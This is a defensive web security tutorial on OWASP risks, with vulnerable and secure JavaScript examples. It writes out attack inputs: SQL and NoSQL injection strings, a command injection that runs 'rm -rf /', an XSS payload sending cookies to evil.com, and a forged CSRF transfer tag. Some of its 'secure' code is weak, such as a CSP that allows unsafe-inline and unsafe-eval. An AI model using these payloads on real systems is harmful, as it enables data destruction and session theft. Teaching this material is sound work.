Security is not optional
Imagine building a beautiful house but leaving all doors and windows open. No matter how pretty it is, anyone can enter and take everything. Web application security works exactly the same way.
The difference between a junior and senior developer is not just writing code that works, but code that cannot be exploited.
OWASP Top 10: The most critical vulnerabilities
OWASP (Open Web Application Security Project) maintains a list of the 10 most dangerous vulnerabilities. Knowing them is the first step to protecting your application.
| # | Vulnerability | Analogy |
|---|---|---|
| 1 | Broken Access Control | Giving master keys to everyone |
| 2 | Cryptographic Failures | Storing passwords on post-its |
| 3 | Injection | Accepting any package without checking |
| 4 | Insecure Design | House without locks from the blueprint |
| 5 | Security Misconfiguration | Leaving the back door open |
| 6 | Vulnerable Components | Using defective materials |
| 7 | Auth Failures | Doorman who lets everyone in |
| 8 | Software/Data Integrity | Not verifying who modified something |
| 9 | Logging Failures | Not having security cameras |
| 10 | SSRF | Letting strangers use your phone |
Injection Attacks
Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query.
SQL Injection
Analogy: It is like if someone asked for their name to register, and instead of saying "John", they said "John; DELETE ALL RECORDS".
// VULNERABLE - Never do this
const query = `SELECT * FROM users WHERE id = ${userId}`;
// Attacker sends: userId = "1 OR 1=1; DROP TABLE users;--"
// Result: Malicious code executes
// SECURE - Use parameterized queries
const query = 'SELECT * FROM users WHERE id = $1';
const result = await pool.query(query, [userId]);
// With ORMs like Prisma (recommended)
const user = await prisma.user.findUnique({
where: { id: parseInt(userId) }
});
NoSQL Injection
// VULNERABLE
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// Attacker sends: { "username": "admin", "password": { "$gt": "" } }
// This finds any user with password greater than empty string!
// SECURE - Validate and sanitize inputs
import { z } from 'zod';
const loginSchema = z.object({
username: z.string().min(3).max(50),
password: z.string().min(8)
});
const { username, password } = loginSchema.parse(req.body);
const user = await User.findOne({ username, password: hashPassword(password) });
Command Injection
// VULNERABLE
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// Attacker sends: "google.com; rm -rf /"
// Result: Deletes entire server!
// SECURE - Use execFile with separate arguments
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', sanitizedHost], callback);
// Or better, use specific libraries
import ping from 'ping';
const result = await ping.promise.probe(sanitizedHost);
XSS (Cross-Site Scripting)
XSS allows attackers to inject malicious scripts into web pages viewed by other users.
Analogy: It is like someone being able to put fake stickers in your store that deceive your customers.
Types of XSS
| Type | Description | Example |
|---|---|---|
| Stored | Script saved in DB | Comment with <script> |
| Reflected | Script in URL | Malicious link via email |
| DOM-based | DOM manipulation | document.write(location.hash) |
Vulnerable vs secure examples
// VULNERABLE - React with dangerouslySetInnerHTML
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
// Attacker saves: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// SECURE - React escapes automatically
function Comment({ text }) {
return <div>{text}</div>; // Tags are displayed as text
}
// If you need HTML, use DOMPurify
import DOMPurify from 'dompurify';
function Comment({ text }) {
const clean = DOMPurify.sanitize(text);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// VULNERABLE - Template literals in HTML
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
// Attacker visits: /search?q=<script>alert('XSS')</script>
// SECURE - Escape the output
import escapeHtml from 'escape-html';
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});
CSRF (Cross-Site Request Forgery)
CSRF tricks authenticated users into executing unwanted actions.
Analogy: Someone forges your signature on a document while you are distracted.
<!-- Malicious site evil.com -->
<img src="https://yourbank.com/transfer?to=hacker&amount=10000" />
<!-- The browser sends cookies automatically! -->
Protection with CSRF tokens
// Backend - Generate token
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// Middleware validates token automatically
processTransfer(req.body);
});
<!-- Frontend - Include token in forms -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
<input type="text" name="amount" />
<button type="submit">Transfer</button>
</form>
SameSite Cookies (Modern defense)
// Configure cookies with SameSite
res.cookie('session', sessionId, {
httpOnly: true, // Not accessible from JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // Not sent in cross-site requests
maxAge: 3600000 // 1 hour
});
Secure Authentication and Sessions
Password storage
// NEVER - Plain text
const user = { password: 'myPassword123' }; // NEVER!
// NEVER - Weak hashing
const hash = crypto.createHash('md5').update(password).digest('hex');
// ALWAYS - bcrypt with salt
import bcrypt from 'bcrypt';
// When registering
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);
// When logging in
const isValid = await bcrypt.compare(inputPassword, hashedPassword);
Secure JWT
import jwt from 'jsonwebtoken';
// Generate token
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{
expiresIn: '1h',
algorithm: 'HS256'
}
);
// Verify token
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
} catch (error) {
// Invalid or expired token
}
Secure sessions with Redis
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
const redisClient = createClient();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
maxAge: 1000 * 60 * 60 * 24 // 1 day
}
}));
Sensitive Data Exposure
What should NEVER be in your code
// NEVER in code
const API_KEY = 'sk-1234567890abcdef'; // NEVER!
const DB_PASSWORD = 'superSecretPassword'; // NEVER!
// ALWAYS in environment variables
const API_KEY = process.env.API_KEY;
const DB_PASSWORD = process.env.DB_PASSWORD;
.env and .gitignore
# .env (NEVER in Git)
DATABASE_URL=postgresql://user:pass@localhost:5432/db
JWT_SECRET=your-very-long-random-secret
API_KEY=sk-production-key
# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key
Encrypting sensitive data
import crypto from 'crypto';
const algorithm = 'aes-256-gcm';
const key = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
function encrypt(text) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();
return {
iv: iv.toString('hex'),
encrypted,
authTag: authTag.toString('hex')
};
}
function decrypt({ iv, encrypted, authTag }) {
const decipher = crypto.createDecipheriv(
algorithm,
key,
Buffer.from(iv, 'hex')
);
decipher.setAuthTag(Buffer.from(authTag, 'hex'));
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
Security Headers
HTTP headers are your first line of defense.
Configuration with Helmet (Express)
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.yourdomain.com"]
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
Headers in Next.js
// next.config.js
const securityHeaders = [
{
key: 'X-DNS-Prefetch-Control',
value: 'on'
},
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'X-Frame-Options',
value: 'SAMEORIGIN'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Referrer-Policy',
value: 'origin-when-cross-origin'
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline';"
}
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders
}
];
}
};
Main headers explained
| Header | Function |
|---|---|
| CSP | Controls what resources the page can load |
| HSTS | Forces HTTPS in the browser |
| X-Frame-Options | Prevents clickjacking |
| X-Content-Type-Options | Prevents MIME sniffing |
| CORS | Controls cross-origin requests |
Validation and Sanitization
Zod for schema validation
import { z } from 'zod';
// Define schema
const userSchema = z.object({
email: z.string().email(),
password: z.string().min(8).regex(/[A-Z]/).regex(/[0-9]/),
age: z.number().min(18).max(120).optional(),
role: z.enum(['user', 'admin']).default('user')
});
// Validate in endpoint
app.post('/register', async (req, res) => {
try {
const validData = userSchema.parse(req.body);
// Safe data to use
await createUser(validData);
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ errors: error.errors });
}
}
});
HTML sanitization
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
// Strict configuration
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
Dependency Security
npm audit
# Check vulnerabilities
npm audit
# Fix automatically
npm audit fix
# See details of critical vulnerabilities
npm audit --audit-level=critical
Snyk (Recommended)
# Install
npm install -g snyk
# Authenticate
snyk auth
# Scan project
snyk test
# Monitor continuously
snyk monitor
Dependabot on GitHub
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
Security Testing Tools
| Tool | Type | Use |
|---|---|---|
| OWASP ZAP | DAST | Automated web scanning |
| Burp Suite | Proxy | Advanced manual testing |
| SonarQube | SAST | Static code analysis |
| Snyk | SCA | Vulnerable dependencies |
| npm audit | SCA | npm dependencies |
| ESLint Security | SAST | JS security rules |
ESLint with security rules
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-regexp': 'error',
'security/detect-unsafe-regex': 'error',
'security/detect-buffer-noassert': 'error',
'security/detect-eval-with-expression': 'error',
'security/detect-no-csrf-before-method-override': 'error'
}
};
Security checklist
- Validate and sanitize ALL inputs
- Use parameterized queries (do not concatenate SQL)
- Hash passwords with bcrypt (saltRounds >= 12)
- Implement CSRF tokens or SameSite cookies
- Configure security headers (CSP, HSTS, etc.)
- Keep dependencies updated
- Do not expose secrets in code or logs
- Use HTTPS in production
- Implement rate limiting
- Log security events
Practice
-> Security Audit - Analyze and fix vulnerabilities in an app